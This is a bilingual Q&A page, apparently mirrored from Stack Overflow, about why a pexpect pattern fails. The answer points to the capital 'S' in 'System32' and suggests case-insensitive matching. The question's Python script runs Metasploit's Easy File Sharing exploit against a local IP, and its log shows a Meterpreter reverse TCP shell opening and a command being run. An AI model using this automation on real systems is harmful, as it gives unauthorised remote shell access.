为什么 pexpect 无法读取这一行?
我试图在我的 metasploit 会话上执行 pwd 命令,然后使用 pexpect 检查是否返回了正确的结果。
这是我的函数
def executeEasyFileSharing(target):
print("Executing: "+"msfconsole -q -x 'use exploit/windows/http/easyfilesharing_post ;set rhosts "+target[1]+";run")
print("About to metasploit")
#Create logfile
fout = open('mylog.txt', 'wb')
child = pexpect.spawn("msfconsole -q -x "+ str('"use exploit/windows/http/easyfilesharing_post ;set rhosts '+target[1] +';run"'), encoding='utf-8')
child.logfile = sys.stdout
print(child.expect_exact("Meterpreter session 1 opened", timeout=300))
import time
time.sleep(10)
child.sendline("pwd")
child.expect("C:\WINDOWS\System32",timeout=50)
print("Success")
executeEasyFileSharing(["buffer","192.168.1.86"])
这是运行时看到的控制台输出:
─$ python3 execution.py 130 ⨯
Executing: msfconsole -q -x 'use exploit/windows/http/easyfilesharing_post ;set rhosts 192.168.1.86;run'
About to metasploit
[] No payload configured, defaulting to windows/meterpreter/reverse_tcp
rhosts => 192.168.1.86
[] Started reverse TCP handler on 192.168.1.102:4444
[] Sending stage (175174 bytes) to 192.168.1.86
[] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.86:59854 ) at 2022-03-05 13:41:46 +0000
0
pwd
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > Traceback (most recent call last):
File "/home/barry/Desktop/HackSimScripts/HackingSim/execution.py", line 50, in <module>
executeEasyFileSharing(["buffer","192.168.1.86"])
File "/home/barry/Desktop/HackSimScripts/HackingSim/execution.py", line 47, in executeEasyFileSharing
child.expect("C:\WINDOWS\System32",timeout=50)
File "/usr/lib/python3/dist-packages/pexpect/spawnbase.py", line 343, in expect
return self.expect_list(compiled_pattern_list,
File "/usr/lib/python3/dist-packages/pexpect/spawnbase.py", line 372, in expect_list
return exp.expect_loop(timeout)
File "/usr/lib/python3/dist-packages/pexpect/expect.py", line 181, in expect_loop
return self.timeout(e)
预期的输出应该是函数执行并打印成功。 pwd 的结果已清楚显示,那么为什么 pexpect 没有检测到它呢?
I am trying to execute a pwd command on my metasploit session, then using pexpect, check if the correct result was returned.
Here is my function
def executeEasyFileSharing(target):
print("Executing: "+"msfconsole -q -x 'use exploit/windows/http/easyfilesharing_post ;set rhosts "+target[1]+";run")
print("About to metasploit")
#Create logfile
fout = open('mylog.txt', 'wb')
child = pexpect.spawn("msfconsole -q -x "+ str('"use exploit/windows/http/easyfilesharing_post ;set rhosts '+target[1] +';run"'), encoding='utf-8')
child.logfile = sys.stdout
print(child.expect_exact("Meterpreter session 1 opened", timeout=300))
import time
time.sleep(10)
child.sendline("pwd")
child.expect("C:\WINDOWS\System32",timeout=50)
print("Success")
executeEasyFileSharing(["buffer","192.168.1.86"])
Here is the console output seen when run:
─$ python3 execution.py 130 ⨯
Executing: msfconsole -q -x 'use exploit/windows/http/easyfilesharing_post ;set rhosts 192.168.1.86;run'
About to metasploit
[] No payload configured, defaulting to windows/meterpreter/reverse_tcp
rhosts => 192.168.1.86
[] Started reverse TCP handler on 192.168.1.102:4444
[] Sending stage (175174 bytes) to 192.168.1.86
[] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.86:59854 ) at 2022-03-05 13:41:46 +0000
0
pwd
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > Traceback (most recent call last):
File "/home/barry/Desktop/HackSimScripts/HackingSim/execution.py", line 50, in <module>
executeEasyFileSharing(["buffer","192.168.1.86"])
File "/home/barry/Desktop/HackSimScripts/HackingSim/execution.py", line 47, in executeEasyFileSharing
child.expect("C:\WINDOWS\System32",timeout=50)
File "/usr/lib/python3/dist-packages/pexpect/spawnbase.py", line 343, in expect
return self.expect_list(compiled_pattern_list,
File "/usr/lib/python3/dist-packages/pexpect/spawnbase.py", line 372, in expect_list
return exp.expect_loop(timeout)
File "/usr/lib/python3/dist-packages/pexpect/expect.py", line 181, in expect_loop
return self.timeout(e)
The expected output should be that the function executes and Success is printed. pwd's result is clearly shown, so why isn't pexpect detecting it?
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(1)
您期望
System32
具有较高的S
,但它发送的system32
具有较低的s
- 这是问题。这应该有效
最终你可以使用
(?i)
来检查不区分大小写
Stackoverflow上的其他问题:(?i) 在 Python/pexpect 正则表达式中意味着什么?
You expect
System32
with upperS
but it sendssystem32
with lowers
- and this is problem.This should work
Eventually you can use
(?i)
to check ascase insensitive
Other question on Stackoverflow: What does (?i) mean in a Python/pexpect regex?